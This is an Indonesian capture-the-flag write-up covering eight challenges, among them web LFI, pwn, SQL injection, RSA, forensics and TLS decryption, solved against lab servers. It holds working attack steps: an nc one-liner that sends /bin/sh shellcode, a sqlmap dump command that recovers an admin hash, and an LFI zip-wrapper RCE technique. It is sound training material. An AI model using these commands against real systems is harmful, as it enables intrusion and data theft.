Anda di halaman 1dari 24

PENYISIHAN 100 BESAR

BORN TO PROTECT

TEAM JOLA-JOLA
COMNETS RESEARCH GROUP
UNIVERSITAS SRIWIJAYA

NAMA : JOHAN WAHYUDI


TEAM : JOLA-JOLA
TOKEN : 7cd5cf25449864007b5072e48f7088b8
DAFTAR ISI
1. Image Uploader v3 (Maroko 300pts)

2. I Need the Key (Argentina 300pts)

3. Executor (Republic Cheska 100pts)

4. Fast And Furious (Yunani 300pts)

5. Lorem Ipsum (Amerika Serikat 300pts)

6. Wien Wien Solution (Turkmenistan 300pts)

7. No pain No Gain (Senegal 200pts)

8. Cracked Number (Indonesia 300pts)


Image Upload V3 - Maroko 300pts

Summary Questions
Level Hard (Web Service)

Nama FIle ~

Clue File : Flag

Tools Curl, browser

Flag
B2P{7049086ed24ffb32db6fbc2f23b75a45}
URL http://35.187.236.126:8007

Vuln LFI to RCE

Pada Challenge ini, hampir mirip dengan challenge v1 dan v2, bedanya
dengan challenge v2, pada challenge ini kita bisa upload file yang
bukan file gambar asalkan extensionnya .png (saya upload file .jpg
or jpeg juga gagal), mari kita coba upload file gambar..
Setelah dilakukan pengecekan, sepertinya ada celah LFI (Local File
Inclusion) soalnya setelah saya testing menggunakan exploit LFI ada
clue yang muncul.

Ok lanjut, kita coba menggunakan base64 wrapper pada file uploader


(tanpa extension)

Ternyata berhasil, tapi saya belum bisa mendapatkan flag yang


dimaksud, karena flag berapa di /home/ctf/flag sedangkan sepertinya
character “..” (back dir) tidak di ijinkan disini.

Ok, kita lanjut make wrapper lain.. Setelah baca baca di google,
saya mencoba melakukan RCE menggunakan celah LFI menggunakan zip
wrapper, saya membuat code exploit di bawah dengan extension .php
lalu di compres menggunakan zip dan rename file .zip ke
extension .png lalu upload
Dan tara,,! Ternyata file berhasil di upload, mari kita coba
eksekusi menggunakan zip wrapper

Ok flag di dapat :D

Flag : B2P{7049086ed24ffb32db6fbc2f23b75a45}
I Need The Key - Argentina 300pts

Level Hard (Reverse Engineering)

Nama FIle B2P_d52b48231cf2f4e505da3fab03b4cd65.ipa

Clue File : Flag Kali ini Sedikit Panjang dari yang dipakai
pada umumnya
Tools Zip, IDA

Flag B2P{622f144dd197909466404384365c4c8e136186f02e234
f2deb7a221fa0848ff2}
URL ~

Vuln ~

Diberikan sebuah file dengan extension.ipa, yang mana dari clue yang
di berikan panitia, itu adalah file application untuk Ios, setelah
di cek tipe filenya menggunakan tools `file` sepertinya bisa
langsung kita decompress (mirip seperti file .apk, yang bisa
langsung di decompress) ok, mari langkah pertama mari kita
decompress dulu,
Kita cek isi filenya, dan saya tidak mendapatkan informasi berarti,
namun ada 1 file dengan nama “B2P” yang menarik perhatian saya, mari
kita cek itu file apa..

Sepertinya binary excetutable, mari kita debug menggunakan Tool


IDA,
Saya mendapatkan sepotong informasi menarik pada location
_cstring:000000010000723C yang mana ada strings hex yang lumayan
panjang (karena di clue, flagnya lebih panjang dari yang biasanya)

Dan setelah saya coba submit, ternyata flagnya emang itu,

Flag :
B2P{622f144dd197909466404384365c4c8e136186f02e234f2deb7a221fa08
48ff2}
Executor - Republic Checka 100pts

Level Medium (Pwing)

Nama FIle EasyShell

Clue Flag ada di /home/ctf/flag.txt

Tools Python, Shellcode

Flag B2P{c832b461f8772b49f45e6c3906645adb}

URL nc 35.187.236.126 8032

Vuln ~

Dari soal dan clue yang di berikan, saya langsung kepikiran kalau
program bisa execute shellcode yang di kirim, mari kita coba

(python -c 'print
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"';
cat -)|nc 35.187.236.126 8032

Di dapat Flag : B2P{c832b461f8772b49f45e6c3906645adb}


Fast and Furios - Argentina 300pts

Level Hard (Programming)

Found Object QR-Code and Morse Code

Clue Pesan berbentuk SHA1 hash

Tools Pytohn

Flag B2P{95bef58cd9ccad4a067b602a9cc630ae}

URL http://35.187.236.126:8021/

Vuln ~

Diberikan sebuah halaman web yang berisikan QR-code, ssetelah kami


decode, ternyata isinya ialah pesan sandi morse, yang mana masih
harus kita decode lagi, dan di webnya tertulis kita harus mengirim
balik kode tersebut dalam bentuk SHA1 hash, tapi yang jadi masalah
disini ialah, kita cuman di beri waktu 4 detik, itu berarti kita
harus menggunakan program untuk bisa solve challenge ini, gak
mungkin sempat donk waktu 4 detik di gunakan untuk decode qrcode
dan morsecode dan ngirim sha1nya ke server..
Script yang di buat untuk solve challenge ini :
import shutil
import requests as r
from base64 import *
from qrtools import QR
from PIL import Image, ImageOps
from bs4 import BeautifulSoup as bs
morseAlphabet = {
"A": ".-",
"B": "-...",
"C": "-.-.",
"D": "-..",
"E": ".",
"F": "..-.",
"G": "--.",
"H": "....",
"I": "..",
"J": ".---",
"K": "-.-",
"L": ".-..",
"M": "--",
"N": "-.",
"O": "---",
"P": ".--.",
"Q": "--.-",
"R": ".-.",
"S": "...",
"T": "-",
"U": "..-",
"V": "...-",
"W": ".--",
"X": "-..-",
"Y": "-.--",
"Z": "--..",
"1" : ".----",
"2" : "..---",
"3" : "...--",
"4" : "....-",
"5" : ".....",
"6" : "-....",
"7" : "--...",
"8" : "---..",
"9" : "----.",
"0" : "-----"
}
inverseMorseAlphabet = dict((v, k) for (k, v) in morseAlphabet.items())
s = r.Session()
url = "http://35.187.236.126:8021/index.php"
Image=bs(s.get('http://35.187.236.126:8021/index.php').text,'html.parser').find('img')['src'].split(',')[1]
with open('qrdata.png','wb') as f:
f.write(b64decode(image))
bk = Image.open('qrdata.png')
bp = ImageOps.invert(bk)
bp.save('image.png')

qr = QR()
qr.decode("image.png")
data = qr.data
result = ''.join(inverseMorseAlphabet[x] for x in data.split(' '))
print s.post(url, data={'solution':result}, headers={'User-Agent':'Curl/7.0',
'Referer':'http://35.187.236.126:8021/index.php'}).text

Setelah di run, di dapat flagnya :

B2P{95bef58cd9ccad4a067b602a9cc630ae}
(maaf gak bisa nampilin proses run program, karena lagi gak ada
koneksi internet)
Lorem Ipsum - Amerika Serikat 300pts

Level Hard (SQL Injection)

Found Object id=MQ%3D%3D

Clue SQLi

Tools SQLMAP

Flag B2P{af39e6e718f3fb8f2de9ae9e6464b150}

URL http://35.187.236.126:8013

Vuln SQLi

Kita diberikan sebuah web Lorem Ipsum yang tersedia dalam 3 bahasa,
dari clue yang di dapat web ini vulnerable terhadap SQL Injection,
Mari kita cek lebih lanjut..

Setelah di cek Source Codenya, ada fungsi Javascript yang menarik,


tapi sayangnya di Obfuscate, jadi kita tidak bisa membacanya secara
langsung, mari kita intercept koneksinya saja, karena setelah di
obfuscate saya tidak mendapat informasi berarti..
Hasil intercept :

Terlihat pada parameter id berisi informasi (id=MQ%3D%3D) yang di


encode dengan base64, setelah di decode, ternayata payload aslinya
ialah “id=1” yang mana data tadi di kirim ke page data.php dengan
method POST.

Dari pada capek capek kita baut exploit, mari kita memanfaatkan
tools sqlmap.. Mari kita coba..
Command :
sqlmap -u http://35.187.236.126:8013/data.php --method POST --data "id=1" --dbs
--random-agent --tamper=base64encode --tables --columns –dump
setelah kita lakukan exploit, kita mendapatkan beberapa tabel,
diantaranya :
Database: SQLite_masterdb
[3 tables]
+-------------------------+
| config |
| n1mbusadmin |
| news |
+-------------------------+

Database: SQLite_masterdb
Table: config
[1 entry]
+------------------+
| admin_url |
+------------------+
| /1n1admbr0 |
+------------------+

Pada tabel config kita mendapati colom admin_url yang berisi data
/1n1admbr0 ,
Mari kita dump table n1mbusadmin ..

Kita mendapatkan :
Admin_id : backupuser
Admin_pass : a5b6e34b25f4722b811d371e957aea29 (linkinpark)

Url login admin : http://35.187.236.126:8013/1n1admbr0

Setelah login kita berhasil masuk kehalaman admin, dan mendapati


link flag ( http://35.187.236.126:8013/1n1admbr0/backup.php )

Flag : B2P{af39e6e718f3fb8f2de9ae9e6464b150}
Wien Wien Solution - Amerika Serikat 300pts

Level Hard (Kriptografi)

Found Object Public.key

Clue Wiener Attack

Tools Openssl, factordb.com

Flag B2P{1938f84de12816c01682dabf9a858892}

URL ~

Vuln SQLi

Diberikan 2 buah file, yang pertama file “flag.enc” yang di encrypt


menggunakan Algoritma RSA 1026 bit dan di encode menggunakan base64
dan yang kedua file public.key,

Dari judul soal kita bisa menyimpulkan bahwa challenge ini bisa di
solve dengan menggunakan wiener’s Attack,
Untuk bisa mendapatkan privat key, kita harus mendapatkan nilai p
dan q dari nilai n, yang biasanya bisa kita solve menggunakan tool
online factordb.com, sebelum itu kita harus mengconvert nilai hex
ke int dulu,

python -c "print
int('021e11ef0011a3e2e4c9936971526af91c23d5dc828cedbe40ec79b0d3cdb3b62e2f89b40ae19e18d
843a116c7e0bf4dabb05b2fa23b4437085f07b91c6aa06a30cd297f3c7045d7ab2e2a4ba7c2a842ea83f1f
d6c297f27e0d2c93511e300bfc9877fad5ceade715b7e46671583bab3813fb1df24c81eb72da75e89ff02b
eeead',16)"

Dan beruntungnya kita bisa mendapatkan hasil Fully Factored,


Nilai p dan q yang di dapat :

P =
194979705355899067647656214272950020430184454599430560867134034
908702984255067458565076786439167674753085083394573873941273562
76232819283645070002029062741

Q =
195227772893008121148032959107379991645817974803954003912739406
650010883154248502648760838293104802746339152426055054860547228
43889535421021671384821660409
Mari kita buar program exploitnya :

import gmpy
import base64
file = open('flag.enc').read()
file1 = base64.b64decode(file)
c = int(file1.encode('hex'),16)
p=
194979705355899067647656214272950020430184454599430560867134034908702984255067458
56507678643916767475308508339457387394127356276232819283645070002029062741
q=
195227772893008121148032959107379991645817974803954003912739406650010883154248502
64876083829310480274633915242605505486054722843889535421021671384821660409

e=
165528674684553774754161107952508373110624366523537426971950721796143115780129435
315899759675151336726943047090419484833345443949104434072639959175019000332954933
802344468968633829926100061874628202284567388558408274913523076548466524630414081
156553457145524778651651092522168245814433643807177041677885126141

n = p*q
phi = (p-1)*(q-1)
d = gmpy.invert(e,phi)
pesan = hex(pow(c,d,n))[2:]
flag = pesan.decode("hex")
print flag

Flag yang di dapat :


B2P{1938f84de12816c01682dabf9a858892}
No Pain No Gain - Senegal 200pts

Level Hard (Forensic)

Found Object Osas.dmp

Clue -

Tools Gimp

Flag B2P{7c6eb59b88fe7efd64111b33f49b7903}

URL ~

Vuln ~

kita diberikan sebuah file dengan extension .dmp


Setelah kita check filenya :

Yang mana itu adalah file MDMP crash report data

Tapi setelah di solve dengan tools forensic saya stuck dan tidak
mendapat informasi berarti, dan saya mencoba membuka file .dmp
tersebut dengan image editor (GImp) yang sebelumnya file tersebut
saya rubah dulu extensionnya ke .data

Dan setelah merubah nilai width, height dan offset, saya mendapatkan
flag yg di maksud walaupun masih dalam keadaan acak :
Flag : B2P{7c6eb59b88fe7efd64111b33f49b7903}
Cracked Number - Indonesia 300pts

Level Hard (Mixed 300pts)

Found Object SSL Cert

Clue Pecahkan Enkripsi SSL

Tools Openssl, Wireshark

Flag B2P{83b89aeac40bb038dc01501a3d99b918}

URL ~

Vuln ~

Kita diberikan sebuah file pcap dari hasil snipping jaringan yang
telah di enkripsi TLSv1.1

Setelah diteliti ternyata didalamnya terdapat certificate SSL yang


ikut tercapture juga, langkah pertama yang harus kita lakukan ialah
meng extract file certificatenya untuk kemudian di rubah jadi
private key yang digunakan untuk decrypt traffic..
Kita convert jadikan public key dulu

Setelah berhasil mendapatkan public key, sekarang kita ubah menjadi


private key dengan menggunakan tools RsaCtfTool..
Setelah mendapatkan private key, private key tadi kita import ke
wireshark dengan cara

Klik menu Edit => Preference => protocol => SSL => SSL Debug File
(browse, cari file private key) => apply

Flag : B2P{83b89aeac40bb038dc01501a3d99b918}

Anda mungkin juga menyukai